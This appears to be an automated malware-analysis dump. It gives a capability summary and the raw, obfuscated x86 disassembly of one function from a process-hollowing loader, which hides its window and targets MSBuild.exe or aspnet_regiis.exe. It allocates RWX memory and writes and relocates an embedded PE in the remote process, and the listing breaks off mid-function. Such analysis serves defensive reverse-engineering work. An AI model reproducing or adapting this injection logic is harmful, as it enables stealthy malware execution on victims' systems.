Function at 0x100037c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x180
mov eax, dword [0x10065e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x188], 0xf5957c52
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18c], eax
sub eax, 0x823e9ddf
je 0x100067d7
jmp 0x100037fc
mov eax, dword [ebp - 0x18c]
sub eax, 0x85fd4f3f
je 0x10006382
jmp 0x10003812
mov eax, dword [ebp - 0x18c]
sub eax, 0x88e79689
je 0x10005e59
jmp 0x10003828
mov eax, dword [ebp - 0x18c]
sub eax, 0x89e3afc5
je 0x10004982
jmp 0x1000383e
mov eax, dword [ebp - 0x18c]
sub eax, 0x8db7a58f
je 0x100066f3
jmp 0x10003854
mov eax, dword [ebp - 0x18c]
sub eax, 0x8e789199
je 0x10005cda
jmp 0x1000386a
mov eax, dword [ebp - 0x18c]
sub eax, 0x91ba16a9
je 0x1000576c
jmp 0x10003880
mov eax, dword [ebp - 0x18c]
sub eax, 0x9217a6f3
je 0x10006708
jmp 0x10003896
mov eax, dword [ebp - 0x18c]
sub eax, 0x96d789d3
je 0x10004b81
jmp 0x100038ac
mov eax, dword [ebp - 0x18c]
sub eax, 0x977793aa
je 0x10004848
jmp 0x100038c2
mov eax, dword [ebp - 0x18c]
sub eax, 0x99c5658a
je 0x10005332
jmp 0x100038d8
mov eax, dword [ebp - 0x18c]
sub eax, 0x9b3c6c17
je 0x10004e2e
jmp 0x100038ee
mov eax, dword [ebp - 0x18c]
sub eax, 0x9c4e2c85
je 0x100065f8
jmp 0x10003904
mov eax, dword [ebp - 0x18c]
sub eax, 0xa2a4a67d
je 0x100047bb
jmp 0x1000391a
mov eax, dword [ebp - 0x18c]
sub eax, 0xa6b7e428
je 0x1000551d
jmp 0x10003930
mov eax, dword [ebp - 0x18c]
sub eax, 0xa8a3b538
je 0x10005626
jmp 0x10003946
mov eax, dword [ebp - 0x18c]
sub eax, 0xaa9872f6
je 0x1000601d
jmp 0x1000395c
mov eax, dword [ebp - 0x18c]
sub eax, 0xade945c7
je 0x1000442e
jmp 0x10003972
mov eax, dword [ebp - 0x18c]
sub eax, 0xb34af218
je 0x1000678c
jmp 0x10003988
mov eax, dword [ebp - 0x18c]
sub eax, 0xb4e41706
je 0x10005c74
jmp 0x1000399e
mov eax, dword [ebp - 0x18c]
sub eax, 0xb7fab335
je 0x100056d7
jmp 0x100039b4
mov eax, dword [ebp - 0x18c]
sub eax, 0xb8448976
je 0x10006747
jmp 0x100039ca
mov eax, dword [ebp - 0x18c]
sub eax, 0xbd9e60cf
je 0x100066a8
jmp 0x100039e0
mov eax, dword [ebp - 0x18c]
sub eax, 0xc0b04920
je 0x1000501d
jmp 0x100039f6
mov eax, dword [ebp - 0x18c]
sub eax, 0xc23c2eb1
je 0x10006777
jmp 0x10003a0c
mov eax, dword [ebp - 0x18c]
sub eax, 0xc4536fa1
je 0x10004772
jmp 0x10003a22
mov eax, dword [ebp - 0x18c]
sub eax, 0xc4ba21f6
je 0x10004ab6
jmp 0x10003a38
mov eax, dword [ebp - 0x18c]
sub eax, 0xc61c302f
je 0x10006227
jmp 0x10003a4e
mov eax, dword [ebp - 0x18c]
sub eax, 0xc6c0a409
je 0x10005b52
jmp 0x10003a64
mov eax, dword [ebp - 0x18c]
sub eax, 0xc6c8a51a
je 0x10004c5f
jmp 0x10003a7a
mov eax, dword [ebp - 0x18c]
sub eax, 0xc79ca67e
je 0x10004973
jmp 0x10003a90
mov eax, dword [ebp - 0x18c]
sub eax, 0xc7f95c71
je 0x10004857
jmp 0x10003aa6
mov eax, dword [ebp - 0x18c]
sub eax, 0xc82be9d0
je 0x100053f8
jmp 0x10003abc
mov eax, dword [ebp - 0x18c]
sub eax, 0xc95cb7ae
je 0x1000648c
jmp 0x10003ad2
mov eax, dword [ebp - 0x18c]
sub eax, 0xca0f0e42
je 0x10004c6e
jmp 0x10003ae8
mov eax, dword [ebp - 0x18c]
sub eax, 0xcae57113
je 0x1000647d
jmp 0x10003afe
mov eax, dword [ebp - 0x18c]
sub eax, 0xcc2c80ff
je 0x100051c6
jmp 0x10003b14
mov eax, dword [ebp - 0x18c]
sub eax, 0xcc3e9b44
je 0x1000663d
jmp 0x10003b2a
mov eax, dword [ebp - 0x18c]
sub eax, 0xcc5d1670
je 0x10006622
jmp 0x10003b40
mov eax, dword [ebp - 0x18c]
sub eax, 0xcdbdb6c4
je 0x10006732
jmp 0x10003b56
mov eax, dword [ebp - 0x18c]
sub eax, 0xce3adf92
je 0x100045fb
jmp 0x10003b6c
mov eax, dword [ebp - 0x18c]
sub eax, 0xcef4f8a3
je 0x10004fc8
jmp 0x10003b82
mov eax, dword [ebp - 0x18c]
sub eax, 0xcf14f013
je 0x1000679b
jmp 0x10003b98
mov eax, dword [ebp - 0x18c]
sub eax, 0xd11fe7c5
je 0x1000459b
jmp 0x10003bae
mov eax, dword [ebp - 0x18c]
sub eax, 0xd3322d37
je 0x10005368
jmp 0x10003bc4
mov eax, dword [ebp - 0x18c]
sub eax, 0xd60d68cd
je 0x10005661
jmp 0x10003bda
mov eax, dword [ebp - 0x18c]
sub eax, 0xd9b1cfd7
je 0x1000675c
jmp 0x10003bf0
mov eax, dword [ebp - 0x18c]
sub eax, 0xd9d91900
je 0x10006157
jmp 0x10003c06
mov eax, dword [ebp - 0x18c]
sub eax, 0xd9fc1009
je 0x10005a2c
jmp 0x10003c1c
mov eax, dword [ebp - 0x18c]
sub eax, 0xddd1a897
je 0x10005dbc
jmp 0x10003c32
mov eax, dword [ebp - 0x18c]
sub eax, 0xde955632
je 0x10005e08
jmp 0x10003c48
mov eax, dword [ebp - 0x18c]
sub eax, 0xdf6287ed
je 0x10005edd
jmp 0x10003c5e
mov eax, dword [ebp - 0x18c]
sub eax, 0xdffc4163
je 0x10005221
jmp 0x10003c74
mov eax, dword [ebp - 0x18c]
sub eax, 0xe2e9a2aa
je 0x100050ae
jmp 0x10003c8a
mov eax, dword [ebp - 0x18c]
sub eax, 0xe3553d04
je 0x10005c19
jmp 0x10003ca0
mov eax, dword [ebp - 0x18c]
sub eax, 0xe4b19619
je 0x10005822
jmp 0x10003cb6
mov eax, dword [ebp - 0x18c]
sub eax, 0xe5cb5d38
je 0x100050f7
jmp 0x10003ccc
mov eax, dword [ebp - 0x18c]
sub eax, 0xe6aafcaa
je 0x100060c6
jmp 0x10003ce2
mov eax, dword [ebp - 0x18c]
sub eax, 0xe88ba40f
je 0x100054ea
jmp 0x10003cf8
mov eax, dword [ebp - 0x18c]
sub eax, 0xe8aaafa0
je 0x10005dad
jmp 0x10003d0e
mov eax, dword [ebp - 0x18c]
sub eax, 0xe949e1fa
je 0x100057b5
jmp 0x10003d24
mov eax, dword [ebp - 0x18c]
sub eax, 0xe9f9c9dc
je 0x10004712
jmp 0x10003d3a
mov eax, dword [ebp - 0x18c]
sub eax, 0xea78f618
je 0x10005635
jmp 0x10003d50
mov eax, dword [ebp - 0x18c]
sub eax, 0xeb5c0ed6
je 0x100049c9
jmp 0x10003d66
mov eax, dword [ebp - 0x18c]
sub eax, 0xebc4a307
je 0x10005861
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010d0
add esp, 4
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x28a1a8aa
mov ecx, 0xd11fe7c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0x8ce81c8
jmp 0x100067f0
lea eax, [0x100131e1]
sub esp, 4
mov dword [esp], eax
call fcn.100010d0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4be00
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x111], al
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f212021
mov ecx, 0x20cc0395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x110]
add eax, 0xf875c43e
add eax, ecx
sub eax, 0xf875c43e
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x188], 0x52a8192a
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec0da4f
mov ecx, 0xa2a4a67d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [eax], 0x10007
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
sub edx, 0xfc926449
sub edx, 1
add edx, 0xfc926449
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec0da4f
mov ecx, 0x977793aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0xc7f95c71
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
sub edx, 0x21295d71
sub edx, 1
add edx, 0x21295d71
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f203b56
mov ecx, 0xf6513a02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0x89e3afc5
jmp 0x100067f0
mov eax, dword [ebp - 0x104]
cmp dword [eax + 0xd0], 0
setne al
and al, 1
mov byte [ebp - 0x181], al
mov eax, dword [ebp - 0x170]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dl, byte [ebp - 0x181]
mov eax, 0xeb5c0ed6
mov ecx, 0x228d2cbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x170]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x68e50d95
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4082465c
mov ecx, 0x41c1f8f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dl, byte [ebp - 0xf5]
mov eax, 0x85fd4f3f
mov ecx, 0x7ca9ee2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0xca0f0e42
jmp 0x100067f0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x164]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x15c]
mov eax, 0x4ff805f5
mov ecx, 0x4813cd8b
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x164]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
mov edx, ecx
sub edx, 0x8dbe6480
sub edx, 1
add edx, 0x8dbe6480
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcc3e9b44
mov ecx, 0x5ef77aa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov ax, word [ebp - 0xe2]
movzx esi, ax
mov edx, dword [ebp - 0xe8]
mov eax, 0xe5cb5d38
mov ecx, 0x7b3766b4
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x174]
mov edx, dword [ebp - 0x158]
mov edx, dword [edx]
mov esi, dword [ebp - 0x154]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x168]
mov edx, dword [edx]
mov esi, dword [ebp - 0x158]
mov esi, dword [esi]
mov edi, dword [ebp - 0x154]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0xdc6b08a2
add edx, esi
sub edx, 0xdc6b08a2
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x188], 0xe2e9a2aa
jmp 0x100067f0
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x188], 0x1bb1b81e
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
add edx, 0x6a62547f
sub edx, 1
sub edx, 0x6a62547f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66ddb336
mov ecx, 0x68c5ad7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x188], 0x12cb3d19
jmp 0x100067f0
mov eax, dword [ebp - 0xd0]
movzx esi, word [eax]
mov edx, dword [ebp - 0xd4]
mov eax, 0xd60d68cd
mov ecx, 0x6b67b1ac
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0xcc]
mov eax, 0xa6b7e428
mov ecx, 0xd3322d37
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x188], 0x3ebf5432
jmp 0x100067f0
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
add ecx, 0x39717ca
add ecx, eax
sub ecx, 0x39717ca
mov eax, dword [ebp - 0xc8]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xb9], al
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd9e60cf
mov ecx, 0x7fcc5ff5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb4]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0xb8]
add ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0xa6b7e428
jmp 0x100067f0
mov dword [ebp - 0x188], 0x57323671
jmp 0x100067f0
mov dword [ebp - 0x188], 0xea78f618
jmp 0x100067f0
mov ecx, dword [ebp - 0xac]
add ecx, 0xf007d0ec
add ecx, 1
sub ecx, 0xf007d0ec
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x12cb3d19
jmp 0x100067f0
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
mov edx, ecx
add edx, 0xc3ea067c
sub edx, 1
sub edx, 0xc3ea067c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9217a6f3
mov ecx, 0xb7fab335
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x160]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xa6], al
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
sub edx, 0xc68d8a0c
sub edx, 1
add edx, 0xc68d8a0c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9217a6f3
mov ecx, 0x39ef10eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20a8a8d4
mov ecx, 0xe949e1fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x17c]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0xa5], al
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
sub edx, 0x47f43b72
sub edx, 1
add edx, 0x47f43b72
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20a8a8d4
mov ecx, 0xe4b19619
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0x729969dc
jmp 0x100067f0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
add ecx, 0xef05ca65
add ecx, 8
sub ecx, 0xef05ca65
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x23c9a5e3
sub ecx, 8
sub ecx, 0x23c9a5e3
shr ecx, 1
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x17c]
add eax, 0x18
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x188], 0x24413be4
jmp 0x100067f0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
mov edx, ecx
sub edx, 0xdefea5b5
sub edx, 1
add edx, 0xdefea5b5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd9b1cfd7
mov ecx, 0x626a25ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x188], 0x66c4bf26
jmp 0x100067f0
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x134]
mov edx, dword [edx]
movzx edx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov ecx, edx
xor ecx, esi
and ecx, edx
add eax, 0x1e608737
add eax, ecx
sub eax, 0x1e608737
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x188], 0x8e789199
jmp 0x100067f0
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xe8aaafa0
mov ecx, 0x75f8ddfd
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0xddd1a897
jmp 0x100067f0
mov dword [ebp - 0x188], 0x2cfafceb
jmp 0x100067f0
mov eax, dword [0x10067138]
mov ecx, dword [0x10067134]
mov edx, eax
add edx, 0x4dc12a72
sub edx, 1
sub edx, 0x4dc12a72
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc23c2eb1
mov ecx, 0x88e79689
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov ecx, dword [0x10067138]
mov eax, dword [0x10067134]
mov edx, ecx
add edx, 0x85768b1a
sub edx, 1
sub edx, 0x85768b1a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc23c2eb1
mov ecx, 0xdf6287ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x100067f0
mov dword [ebp - 0x188], 0x7be820b4
jmp 0x100067f0
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x168]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x17c]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x188], 0xfbeaa618
jmp 0x100067f0
mov eax, dword [ebp - 0x78]
mov eax, dword [eax + 0x48]
mov ecx, dword [ebp - 0x7c]
add ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x2df4dc5c
jmp 0x100067f0
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0x34]
sub ecx, 0x82c432d3
sub ecx, eax
add ecx, 0x82c432d3
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
add ecx, 0xdd0f978
add ecx, eax
sub ecx, 0xdd0f978
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
